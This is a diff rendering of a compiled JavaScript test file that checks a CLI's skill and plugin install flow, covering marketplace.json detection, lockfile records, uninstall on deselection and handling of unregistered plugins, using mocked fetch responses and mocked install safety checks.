|
1957
|
-
{ name: "skill-a", path: "skills/skill-a/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/skill-a/SKILL.md" },
|
|
1958
|
-
{ name: "skill-b", path: "skills/skill-b/SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/skills/skill-b/SKILL.md" },
|
|
1959
|
-
]);
|
|
1960
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
1961
|
-
ok: true,
|
|
1962
|
-
text: async () => "# Skill content",
|
|
1963
|
-
});
|
|
1964
|
-
// Direct install without registry — no _targetSkill
|
|
1965
|
-
await addCommand("owner/repo", {});
|
|
1966
|
-
// Both skills should be installed
|
|
1967
|
-
expect(mockRunTier1Scan).toHaveBeenCalledTimes(2);
|
|
1968
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
1969
|
-
expect(Object.keys(lockArg.skills)).toHaveLength(2);
|
|
1970
|
-
});
|
|
1971
|
-
});
|
|
1972
|
-
// ---------------------------------------------------------------------------
|
|
1973
|
-
// Marketplace Detection & Install Mode (increment 0382)
|
|
1974
|
-
// ---------------------------------------------------------------------------
|
|
1975
|
-
const SAMPLE_MARKETPLACE_JSON = JSON.stringify({
|
|
1976
|
-
name: "test-marketplace",
|
|
1977
|
-
owner: { name: "Test Author" },
|
|
1978
|
-
plugins: [
|
|
1979
|
-
{ name: "plugin-a", source: "./plugins/plugin-a", version: "1.0.0", description: "First plugin" },
|
|
1980
|
-
{ name: "plugin-b", source: "./plugins/plugin-b", version: "2.0.0", description: "Second plugin" },
|
|
1981
|
-
{ name: "plugin-c", source: "./plugins/plugin-c", version: "1.5.0", description: "Third plugin" },
|
|
1982
|
-
],
|
|
1983
|
-
});
|
|
1984
|
-
describe("detectMarketplaceRepo", () => {
|
|
1985
|
-
it("TC-001: detects repo with .claude-plugin/marketplace.json", async () => {
|
|
1986
|
-
globalThis.fetch = vi.fn()
|
|
1987
|
-
.mockResolvedValueOnce({
|
|
1988
|
-
ok: true,
|
|
1989
|
-
json: async () => ({ download_url: "https://raw.githubusercontent.com/owner/repo/main/.claude-plugin/marketplace.json" }),
|
|
1990
|
-
})
|
|
1991
|
-
.mockResolvedValueOnce({
|
|
1992
|
-
ok: true,
|
|
1993
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
1994
|
-
});
|
|
1995
|
-
const result = await detectMarketplaceRepo("owner", "repo");
|
|
1996
|
-
expect(result.isMarketplace).toBe(true);
|
|
1997
|
-
expect(result.manifestContent).toBe(SAMPLE_MARKETPLACE_JSON);
|
|
1998
|
-
});
|
|
1999
|
-
it("TC-002: returns false for repo without marketplace.json", async () => {
|
|
2000
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
2001
|
-
ok: false,
|
|
2002
|
-
status: 404,
|
|
2003
|
-
});
|
|
2004
|
-
const result = await detectMarketplaceRepo("owner", "repo");
|
|
2005
|
-
expect(result.isMarketplace).toBe(false);
|
|
2006
|
-
expect(result.manifestContent).toBeUndefined();
|
|
2007
|
-
});
|
|
2008
|
-
it("TC-003: returns false on network error (graceful fallback)", async () => {
|
|
2009
|
-
globalThis.fetch = vi.fn().mockRejectedValue(new Error("Network error"));
|
|
2010
|
-
const result = await detectMarketplaceRepo("owner", "repo");
|
|
2011
|
-
expect(result.isMarketplace).toBe(false);
|
|
2012
|
-
});
|
|
2013
|
-
it("decodes base64 content when download_url is missing", async () => {
|
|
2014
|
-
const base64Content = Buffer.from(SAMPLE_MARKETPLACE_JSON).toString("base64");
|
|
2015
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
2016
|
-
ok: true,
|
|
2017
|
-
json: async () => ({ content: base64Content, encoding: "base64" }),
|
|
2018
|
-
});
|
|
2019
|
-
const result = await detectMarketplaceRepo("owner", "repo");
|
|
2020
|
-
expect(result.isMarketplace).toBe(true);
|
|
2021
|
-
expect(result.manifestContent).toBe(SAMPLE_MARKETPLACE_JSON);
|
|
2022
|
-
});
|
|
2023
|
-
it("returns false when marketplace.json has no plugins", async () => {
|
|
2024
|
-
const emptyManifest = JSON.stringify({ name: "empty", owner: { name: "Test" }, plugins: [] });
|
|
2025
|
-
globalThis.fetch = vi.fn()
|
|
2026
|
-
.mockResolvedValueOnce({
|
|
2027
|
-
ok: true,
|
|
2028
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2029
|
-
})
|
|
2030
|
-
.mockResolvedValueOnce({
|
|
2031
|
-
ok: true,
|
|
2032
|
-
text: async () => emptyManifest,
|
|
2033
|
-
});
|
|
2034
|
-
const result = await detectMarketplaceRepo("owner", "repo");
|
|
2035
|
-
expect(result.isMarketplace).toBe(false);
|
|
2036
|
-
});
|
|
2037
|
-
});
|
|
2038
|
-
describe("addCommand marketplace integration", () => {
|
|
2039
|
-
beforeEach(() => {
|
|
2040
|
-
mockEnsureLockfile.mockReturnValue({
|
|
2041
|
-
version: 1,
|
|
2042
|
-
agents: [],
|
|
2043
|
-
skills: {},
|
|
2044
|
-
createdAt: new Date().toISOString(),
|
|
2045
|
-
updatedAt: new Date().toISOString(),
|
|
2046
|
-
});
|
|
2047
|
-
mockGetMarketplaceName.mockReturnValue("test-marketplace");
|
|
2048
|
-
// Ensure fs mocks have correct return values (clearAllMocks preserves them,
|
|
2049
|
-
// but restoreAllMocks from other describe blocks might have reset them)
|
|
2050
|
-
mockMkdtempSync.mockReturnValue("/tmp/vskill-marketplace-abc123");
|
|
2051
|
-
});
|
|
2052
|
-
it("TC-004: routes to marketplace flow when repo is a marketplace", async () => {
|
|
2053
|
-
// Marketplace detection succeeds + fallback for skill discovery/download
|
|
2054
|
-
globalThis.fetch = vi.fn()
|
|
2055
|
-
.mockResolvedValueOnce({
|
|
2056
|
-
ok: true,
|
|
2057
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2058
|
-
})
|
|
2059
|
-
.mockResolvedValueOnce({
|
|
2060
|
-
ok: true,
|
|
2061
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2062
|
-
})
|
|
2063
|
-
.mockResolvedValue({
|
|
2064
|
-
ok: true,
|
|
2065
|
-
json: async () => [{ name: "test-skill", type: "dir" }],
|
|
2066
|
-
text: async () => "# Skill Content",
|
|
2067
|
-
});
|
|
2068
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
2069
|
-
// --yes to auto-select all
|
|
2070
|
-
await addCommand("owner/repo", { yes: true });
|
|
2071
|
-
// Should NOT call discoverSkills
|
|
2072
|
-
expect(mockDiscoverSkills).not.toHaveBeenCalled();
|
|
2073
|
-
// Should write lockfile with marketplace source
|
|
2074
|
-
expect(mockWriteLockfile).toHaveBeenCalled();
|
|
2075
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
2076
|
-
expect(lockArg.skills["plugin-a"].source).toBe("marketplace:owner/repo#plugin-a");
|
|
2077
|
-
});
|
|
2078
|
-
it("TC-005: falls through to discovery when repo is NOT a marketplace", async () => {
|
|
2079
|
-
// Marketplace detection fails (404)
|
|
2080
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
2081
|
-
ok: false,
|
|
2082
|
-
status: 404,
|
|
2083
|
-
});
|
|
2084
|
-
// Discovery returns skills
|
|
2085
|
-
mockDiscoverSkills.mockResolvedValue([
|
|
2086
|
-
{ name: "my-skill", path: "SKILL.md", rawUrl: "https://raw.githubusercontent.com/owner/repo/main/SKILL.md" },
|
|
2087
|
-
]);
|
|
2088
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
2089
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
2090
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
2091
|
-
// Re-mock fetch for skill content
|
|
2092
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
2093
|
-
ok: true,
|
|
2094
|
-
text: async () => "# My Skill Content",
|
|
2095
|
-
});
|
|
2096
|
-
await addCommand("owner/repo", {});
|
|
2097
|
-
// Should call discoverSkills
|
|
2098
|
-
expect(mockDiscoverSkills).toHaveBeenCalledWith("owner", "repo");
|
|
2099
|
-
});
|
|
2100
|
-
it("TC-006: --plugin flag bypasses marketplace detection", async () => {
|
|
2101
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
2102
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
2103
|
-
mockRunTier1Scan.mockReturnValue(makeScanResult());
|
|
2104
|
-
// Mock fetch for marketplace.json lookup (via installRepoPlugin)
|
|
2105
|
-
globalThis.fetch = vi.fn().mockResolvedValue({
|
|
2106
|
-
ok: true,
|
|
2107
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2108
|
-
});
|
|
2109
|
-
mockReadFileSync.mockReturnValue(SAMPLE_MARKETPLACE_JSON);
|
|
2110
|
-
mockExistsSync.mockReturnValue(true);
|
|
2111
|
-
mockReaddirSync.mockReturnValue([]);
|
|
2112
|
-
mockStatSync.mockReturnValue({ isDirectory: () => true, isFile: () => false });
|
|
2113
|
-
// With --plugin flag, it goes to installRepoPlugin directly
|
|
2114
|
-
await addCommand("owner/repo", { plugin: "plugin-a" }).catch(() => { });
|
|
2115
|
-
// discoverSkills should NOT be called (plugin flag routes differently)
|
|
2116
|
-
// detectMarketplaceRepo is also not called (plugin flag checked first)
|
|
2117
|
-
});
|
|
2118
|
-
it("TC-013: summary shows correct counts with mixed success/failure", async () => {
|
|
2119
|
-
globalThis.fetch = vi.fn()
|
|
2120
|
-
.mockResolvedValueOnce({
|
|
2121
|
-
ok: true,
|
|
2122
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2123
|
-
})
|
|
2124
|
-
.mockResolvedValueOnce({
|
|
2125
|
-
ok: true,
|
|
2126
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2127
|
-
})
|
|
2128
|
-
.mockResolvedValue({
|
|
2129
|
-
ok: true,
|
|
2130
|
-
json: async () => [{ name: "test-skill", type: "dir" }],
|
|
2131
|
-
text: async () => "# Skill Content",
|
|
2132
|
-
});
|
|
2133
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
2134
|
-
await addCommand("owner/repo", { yes: true });
|
|
2135
|
-
expect(mockWriteLockfile).toHaveBeenCalled();
|
|
2136
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
2137
|
-
expect(lockArg.skills["plugin-a"]).toBeDefined();
|
|
2138
|
-
expect(lockArg.skills["plugin-b"]).toBeDefined();
|
|
2139
|
-
expect(lockArg.skills["plugin-c"]).toBeDefined();
|
|
2140
|
-
});
|
|
2141
|
-
it("TC-014: no temp directory created during marketplace install", async () => {
|
|
2142
|
-
globalThis.fetch = vi.fn()
|
|
2143
|
-
.mockResolvedValueOnce({
|
|
2144
|
-
ok: true,
|
|
2145
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2146
|
-
})
|
|
2147
|
-
.mockResolvedValueOnce({
|
|
2148
|
-
ok: true,
|
|
2149
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2150
|
-
});
|
|
2151
|
-
await addCommand("owner/repo", { yes: true });
|
|
2152
|
-
// No temp dir should be created or cleaned up — files extracted directly
|
|
2153
|
-
expect(mockMkdtempSync).not.toHaveBeenCalled();
|
|
2154
|
-
expect(mockRmSync).not.toHaveBeenCalled();
|
|
2155
|
-
});
|
|
2156
|
-
it("TC-015: lockfile records marketplace source format", async () => {
|
|
2157
|
-
globalThis.fetch = vi.fn()
|
|
2158
|
-
.mockResolvedValueOnce({
|
|
2159
|
-
ok: true,
|
|
2160
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2161
|
-
})
|
|
2162
|
-
.mockResolvedValueOnce({
|
|
2163
|
-
ok: true,
|
|
2164
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2165
|
-
})
|
|
2166
|
-
.mockResolvedValue({
|
|
2167
|
-
ok: true,
|
|
2168
|
-
json: async () => [{ name: "test-skill", type: "dir" }],
|
|
2169
|
-
text: async () => "# Skill Content",
|
|
2170
|
-
});
|
|
2171
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
2172
|
-
await addCommand("owner/repo", { yes: true });
|
|
2173
|
-
const lockArg = mockWriteLockfile.mock.calls[0][0];
|
|
2174
|
-
expect(lockArg.skills["plugin-a"].source).toBe("marketplace:owner/repo#plugin-a");
|
|
2175
|
-
expect(lockArg.skills["plugin-a"].marketplace).toBe("test-marketplace");
|
|
2176
|
-
expect(lockArg.skills["plugin-a"].pluginDir).toBe(true);
|
|
2177
|
-
expect(lockArg.skills["plugin-a"].version).toBe("1.0.0");
|
|
2178
|
-
expect(lockArg.skills["plugin-b"].version).toBe("2.0.0");
|
|
2179
|
-
});
|
|
2180
|
-
it("TC-017: unchecking installed plugins in interactive mode uninstalls them", async () => {
|
|
2181
|
-
// Set up lockfile with 2 previously installed plugins
|
|
2182
|
-
mockReadLockfile.mockReturnValue({
|
|
2183
|
-
version: 1,
|
|
2184
|
-
agents: [],
|
|
2185
|
-
skills: {
|
|
2186
|
-
"plugin-a": { version: "1.0.0", source: "marketplace:owner/repo#plugin-a" },
|
|
2187
|
-
"plugin-b": { version: "2.0.0", source: "marketplace:owner/repo#plugin-b" },
|
|
2188
|
-
},
|
|
2189
|
-
createdAt: new Date().toISOString(),
|
|
2190
|
-
updatedAt: new Date().toISOString(),
|
|
2191
|
-
});
|
|
2192
|
-
// Marketplace detection succeeds + fallback for skill discovery/download
|
|
2193
|
-
globalThis.fetch = vi.fn()
|
|
2194
|
-
.mockResolvedValueOnce({
|
|
2195
|
-
ok: true,
|
|
2196
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2197
|
-
})
|
|
2198
|
-
.mockResolvedValueOnce({
|
|
2199
|
-
ok: true,
|
|
2200
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2201
|
-
})
|
|
2202
|
-
.mockResolvedValue({
|
|
2203
|
-
ok: true,
|
|
2204
|
-
json: async () => [{ name: "test-skill", type: "dir" }],
|
|
2205
|
-
text: async () => "# Skill Content",
|
|
2206
|
-
});
|
|
2207
|
-
// Enable interactive mode
|
|
2208
|
-
mockIsTTY.mockReturnValue(true);
|
|
2209
|
-
// First checkbox: user selects only plugin-c (index 2)
|
|
2210
|
-
// Second checkbox: agent selection — select first agent (index 0)
|
|
2211
|
-
mockPromptCheckboxList
|
|
2212
|
-
.mockResolvedValueOnce([2])
|
|
2213
|
-
.mockResolvedValueOnce([0]);
|
|
2214
|
-
// Agents for uninstall directory removal + skill install
|
|
2215
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
2216
|
-
// Skill directories exist
|
|
2217
|
-
mockExistsSync.mockReturnValue(true);
|
|
2218
|
-
await addCommand("owner/repo", {});
|
|
2219
|
-
// Should uninstall plugin-a and plugin-b
|
|
2220
|
-
expect(mockRemoveSkillFromLock).toHaveBeenCalledTimes(2);
|
|
2221
|
-
expect(mockRemoveSkillFromLock).toHaveBeenCalledWith("plugin-a", expect.any(String));
|
|
2222
|
-
expect(mockRemoveSkillFromLock).toHaveBeenCalledWith("plugin-b", expect.any(String));
|
|
2223
|
-
// Should remove skill directories from filesystem
|
|
2224
|
-
expect(mockRmSync).toHaveBeenCalled();
|
|
2225
|
-
});
|
|
2226
|
-
it("TC-018: --yes mode does NOT uninstall previously installed plugins", async () => {
|
|
2227
|
-
// Set up lockfile with 2 previously installed plugins
|
|
2228
|
-
mockReadLockfile.mockReturnValue({
|
|
2229
|
-
version: 1,
|
|
2230
|
-
agents: [],
|
|
2231
|
-
skills: {
|
|
2232
|
-
"plugin-a": { version: "1.0.0", source: "marketplace:owner/repo#plugin-a" },
|
|
2233
|
-
"plugin-b": { version: "2.0.0", source: "marketplace:owner/repo#plugin-b" },
|
|
2234
|
-
},
|
|
2235
|
-
createdAt: new Date().toISOString(),
|
|
2236
|
-
updatedAt: new Date().toISOString(),
|
|
2237
|
-
});
|
|
2238
|
-
// Marketplace detection succeeds
|
|
2239
|
-
globalThis.fetch = vi.fn()
|
|
2240
|
-
.mockResolvedValueOnce({
|
|
2241
|
-
ok: true,
|
|
2242
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2243
|
-
})
|
|
2244
|
-
.mockResolvedValueOnce({
|
|
2245
|
-
ok: true,
|
|
2246
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2247
|
-
});
|
|
2248
|
-
// --yes auto-selects all — should NOT uninstall anything
|
|
2249
|
-
await addCommand("owner/repo", { yes: true });
|
|
2250
|
-
expect(mockRemoveSkillFromLock).not.toHaveBeenCalled();
|
|
2251
|
-
});
|
|
2252
|
-
});
|
|
2253
|
-
// ---------------------------------------------------------------------------
|
|
2254
|
-
// Unregistered plugin discovery integration (increment 0433)
|
|
2255
|
-
// ---------------------------------------------------------------------------
|
|
2256
|
-
describe("addCommand unregistered plugin discovery", () => {
|
|
2257
|
-
const originalFetch = globalThis.fetch;
|
|
2258
|
-
beforeEach(() => {
|
|
2259
|
-
mockCheckInstallSafety.mockResolvedValue({ blocked: false, rejected: false });
|
|
2260
|
-
mockCheckPlatformSecurity.mockResolvedValue(null);
|
|
2261
|
-
mockDetectInstalledAgents.mockResolvedValue([makeAgent()]);
|
|
2262
|
-
mockEnsureLockfile.mockReturnValue({
|
|
2263
|
-
version: 1,
|
|
2264
|
-
agents: [],
|
|
2265
|
-
skills: {},
|
|
2266
|
-
createdAt: "2026-01-01T00:00:00.000Z",
|
|
2267
|
-
updatedAt: "2026-01-01T00:00:00.000Z",
|
|
2268
|
-
});
|
|
2269
|
-
mockMkdtempSync.mockReturnValue("/tmp/vskill-marketplace-abc123");
|
|
2270
|
-
});
|
|
2271
|
-
afterEach(() => {
|
|
2272
|
-
globalThis.fetch = originalFetch;
|
|
2273
|
-
});
|
|
2274
|
-
it("--yes without --force skips unregistered plugins", async () => {
|
|
2275
|
-
// Marketplace detection succeeds
|
|
2276
|
-
globalThis.fetch = vi.fn()
|
|
2277
|
-
.mockResolvedValueOnce({
|
|
2278
|
-
ok: true,
|
|
2279
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2280
|
-
})
|
|
2281
|
-
.mockResolvedValueOnce({
|
|
2282
|
-
ok: true,
|
|
2283
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2284
|
-
})
|
|
2285
|
-
.mockResolvedValue({
|
|
2286
|
-
ok: true,
|
|
2287
|
-
json: async () => [{ name: "test-skill", type: "dir" }],
|
|
2288
|
-
text: async () => "# Skill Content",
|
|
2289
|
-
});
|
|
2290
|
-
// Discovery returns unregistered plugins
|
|
2291
|
-
mockDiscoverUnregisteredPlugins.mockResolvedValue({
|
|
2292
|
-
plugins: [
|
|
2293
|
-
{ name: "new-plugin", source: "./plugins/new-plugin" },
|
|
2294
|
-
],
|
|
2295
|
-
failed: false,
|
|
2296
|
-
});
|
|
2297
|
-
await addCommand("owner/repo", { yes: true });
|
|
2298
|
-
// Console output should mention skipping unregistered
|
|
2299
|
-
const logOutput = console.log.mock.calls
|
|
2300
|
-
.map((c) => String(c[0]))
|
|
2301
|
-
.join("\n");
|
|
2302
|
-
expect(logOutput).toContain("Skipping");
|
|
2303
|
-
expect(logOutput).toContain("new-plugin");
|
|
2304
|
-
});
|
|
2305
|
-
it("--yes --force includes unregistered plugins", async () => {
|
|
2306
|
-
// Marketplace detection succeeds
|
|
2307
|
-
globalThis.fetch = vi.fn()
|
|
2308
|
-
.mockResolvedValueOnce({
|
|
2309
|
-
ok: true,
|
|
2310
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2311
|
-
})
|
|
2312
|
-
.mockResolvedValueOnce({
|
|
2313
|
-
ok: true,
|
|
2314
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2315
|
-
})
|
|
2316
|
-
.mockResolvedValue({
|
|
2317
|
-
ok: true,
|
|
2318
|
-
json: async () => [{ name: "test-skill", type: "dir" }],
|
|
2319
|
-
text: async () => "# Skill Content",
|
|
2320
|
-
});
|
|
2321
|
-
// Discovery returns unregistered plugins
|
|
2322
|
-
mockDiscoverUnregisteredPlugins.mockResolvedValue({
|
|
2323
|
-
plugins: [
|
|
2324
|
-
{ name: "new-plugin", source: "./plugins/new-plugin" },
|
|
2325
|
-
],
|
|
2326
|
-
failed: false,
|
|
2327
|
-
});
|
|
2328
|
-
await addCommand("owner/repo", { yes: true, force: true });
|
|
2329
|
-
// Console output should mention including unregistered
|
|
2330
|
-
const logOutput = console.log.mock.calls
|
|
2331
|
-
.map((c) => String(c[0]))
|
|
2332
|
-
.join("\n");
|
|
2333
|
-
expect(logOutput).toContain("Including");
|
|
2334
|
-
expect(logOutput).toContain("new-plugin");
|
|
2335
|
-
});
|
|
2336
|
-
it("shows incomplete warning when discovery API fails", async () => {
|
|
2337
|
-
// Marketplace detection succeeds
|
|
2338
|
-
globalThis.fetch = vi.fn()
|
|
2339
|
-
.mockResolvedValueOnce({
|
|
2340
|
-
ok: true,
|
|
2341
|
-
json: async () => ({ download_url: "https://example.com/marketplace.json" }),
|
|
2342
|
-
})
|
|
2343
|
-
.mockResolvedValueOnce({
|
|
2344
|
-
ok: true,
|
|
2345
|
-
text: async () => SAMPLE_MARKETPLACE_JSON,
|
|
2346
|
-
})
|
|
2347
|
-
.mockResolvedValue({
|
|
2348
|
-
ok: true,
|
|
2349
|
-
json: async () => [{ name: "test-skill", type: "dir" }],
|
|
2350
|
-
text: async () => "# Skill Content",
|
|
2351
|
-
});
|
|
2352
|
-
// Discovery fails (API error)
|
|
2353
|
-
mockDiscoverUnregisteredPlugins.mockResolvedValue({
|
|
2354
|
-
plugins: [],
|
|
2355
|
-
failed: true,
|
|
2356
|
-
});
|
|
2357
|
-
await addCommand("owner/repo", { yes: true });
|
|
2358
|
-
// Should show warning about incomplete plugin list
|
|
2359
|
-
const logOutput = console.log.mock.calls
|
|
2360
|
-
.map((c) => String(c[0]))
|
|
2361
|
-
.join("\n");
|
|
2362
|
-
expect(logOutput).toContain("incomplete");
|
|
2363
|
-
});
|
|
2364
|
-
});
|
|
2365
|
-
//# sourceMappingURL=add.test.js.map
|